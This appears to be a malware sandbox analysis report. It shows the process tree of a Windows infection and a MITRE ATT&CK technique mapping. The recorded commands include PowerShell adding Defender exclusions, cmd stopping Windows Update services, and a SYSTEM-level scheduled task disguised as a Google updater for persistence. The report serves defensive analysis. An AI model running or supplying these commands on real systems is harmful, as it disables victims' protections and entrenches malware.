- C:\Users\Admin\AppData\Local\Temp\320A.exe
  C:\Users\Admin\AppData\Local\Temp\320A.exe
  2⤵
  - Executes dropped EXE
  PID:5040

C:\Users\Admin\AppData\Local\Temp\45D1.exe
C:\Users\Admin\AppData\Local\Temp\45D1.exe
1⤵
- Executes dropped EXE
PID:3820
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  2⤵
  PID:412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:4100

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1380
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3488
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4932
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:520
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:2672
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:4916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:1160

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:3772
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:1444
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:1348
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:1020
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4712 -ip 4712
1⤵
PID:4472

C:\Users\Admin\AppData\Local\Temp\914D.exe
C:\Users\Admin\AppData\Local\Temp\914D.exe
1⤵
PID:3384

C:\Users\Admin\AppData\Local\Temp\9AD4.exe
C:\Users\Admin\AppData\Local\Temp\9AD4.exe
1⤵
PID:3940

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:4532

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:3832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery